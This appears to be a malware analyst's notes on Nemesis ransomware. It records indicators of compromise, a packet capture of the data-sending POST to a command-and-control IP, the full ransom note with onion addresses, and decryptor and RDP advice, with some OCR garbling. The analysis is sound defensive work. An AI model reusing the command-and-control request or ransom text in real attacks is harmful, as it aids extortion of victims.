Ransomware
SUMMARY

- Payload impersonates SVCHOST.exe

- Uses the naming convention ZNvCrpaNxrZtzeES

[ds:0x414cb0], 0x9

Will convert fileNames to following naming convention
"ZNVCRPANXRZTZEEST1d-2848892090_[fgb45{t3pqamyji7.onion.to].2rb21"
- Makes a POST call to http://31.184.234.240/2rb21/7k5reo.php

Sun Apr 23 20:39:49 2017 4080 svchost.exe —> belongsTo 880

- Starts encrypting files and adds an html file for instructions

C:\Users\Administrator\AppData\Local\### DECRYPT MY FILES ### html

ALL YOUR FILES ARE ENCRYPTED

For more information, open the file "### DECRYPT MY FILES ###html" on the desktop
or any other folder with encrypted files



http://31.184.234.240/2rb21/7k5reo.php

DnsGetProxyInformation ( "31.184.234.240", ....);

LoadLibraryA ( "wininet.dll")
GetProcAddress ( HANDLE _TO_DLL, "CPEncrypt" ) // Returns exported function()
CreateMutexA ( HANDLE, OWNERSHIP_BOOL, "RasPbFile" )

\

typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY ATTRIBUTES, *LPSECURITY ATTRIBUTES;

Creates a file called svchost.exe.bat

("FOR", ""C:\Users\hol\Desktop\svchost.exe.bat"" )
("FOR/?", ""C:\Users\hol\Desktop\svchost.exe.bat"" )
("IF/?", ""C:\Users\hol\Desktop\svchost.exe.bat"" )

("REM", ""C:\Users\hol\Desktop\svchost.exe.bat"" )

Payload tries to make a POST request, provides information to CnC
3Way HandShake (TCP)

(UDURRANI)
TO IP ADDRESS|31.184.234.240 |
PORT INFORMATION (49158, 80)
SEQUENCE INFORMATION (583729751, )
(14: 20: 20: 66)

(UDURRANTI)
31.184.234.240 TO IP ADDRESS 172.16.251.171
PORT INFORMATION (80, 49158)

SEQUENCE INFORMATION (1564083386, 583729752)

(14: 20: 20: 60)

(UDURRANTI)
TO IP ADDRESS 31.184.234.240
PORT INFORMATION (49158, 80)

SEQUENCE INFORMATION (583729752, 1564083387)

(14: 20: 20: 60)




PUSH ControlBit

POST

(UDURRANI)

(DATA PUSH!) IS COMING FROM [NZIpUYPLygpbil TO IP ADDRESS 31.184.234.240

PORT INFORMATION (49158, 80)
SEQUENCE INFORMATION (583729752, 1564083387)

POST |/2rb21/7k5reo.php{HTTP/1.1

Content-Type: application/x-www—form-u

rlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.
1; Sv1)

Host: 31.184.234.240

Content-Length: 1527

Connection: Keep-A

live

Cache-Control: no-cache

(UDURRANT)

(DATA PUSH!) IS COMING FROM hyrBp iyl TO IP ADDRESS 31.184.234.240

PORT INFORMATION (49158, 80)
SEQUENCE INFORMATION (583729998, 1564083387)

(14: 20: 20: 1581)
0ata491CFA105698128CD7BE20FSEBC18E28548114AA16EB2895078CDCICOE3871EFCEC
BCE186F7D3EC3C197B3DF3D34685B7092840ABE18E1539A62E1EB17F46F4BB84531068
? <<F

TU) ?X??PV?7R
)??PV?7E
(i+?@?72?22?P2]1:?7"? P?77e

(UDURRANT)

(ENDx) FIN PACKET SENT FROME31.184.234.240 TO IP ADDRESS 172.16.251.171

PORT INFORMATION (8@, 49158)
SEQUENCE INFORMATION (1564083387, 583731525)

(14: 20: 20: 244)
HTTP/1.1 200 OK
Date: Sun, 23 Apr 2017 17:13:42 GMT
Server: Apache
A
ccess—Control-Allow-0rigin: *
Content-Length: 8
Connection: close
Co
ntent-Type: text/html; charset=UTF-8



Nemesis Ransomware

To decrypt your files you need to buy the special software - «<Nemesis decryptor»
To recover data, follow the instructions!

You can find out the details/ask questions in the chat:
https://fgb45ft3pgamyji7.onion.to (not need Tor)

If the resource is not available for a long time, install and use the Tor-browser:

1. Run your Internet-browser

2. Enter or copy the address https:// j y.html in the address bar of your browser and press key ENTER
3. On the site will be offered to download the Tor-browser, download and install it. Run.

4. Connect with the button "Connect” (if you use the English version)

5. After connection, the usual Tor-browser window will open

6. Enter or copy the address http://fgb45ft3pgamyji7.onion in the address bar of Tor-browser and press key ENTER

7. Wait for the site to load

//1f you have any problems installing or using, please visit the video tutorial

Nemesis belongs to the Cry9 (similar to CryptON) ransomware family. This payload can spread
via RDP or similar tactics so make sure not to allow openRDP (RDP open to the internet).
Emsisoft has a generic decryptor for this family of ransomware but I have noticed that it doesn't
work with the latest payloads. There were new payloads found month of April (4/19/2017 -
4/23/2017)

Decryption tool URL: https://decrypter.emsisoft.com/cry9

The tool will work with CtyprON and for the latest / updates Nemesis would throw an error

| The files you provided do not appear to be a valid CryptON file pair or
are unfit for decryption purposes. Please provide files of size 128 KB and
larger. The encrypted file needs to be exactly 68 bytes bigger than the
unencrypted version of the file,

oK



https://decrypter.emsisoft.com/cry9

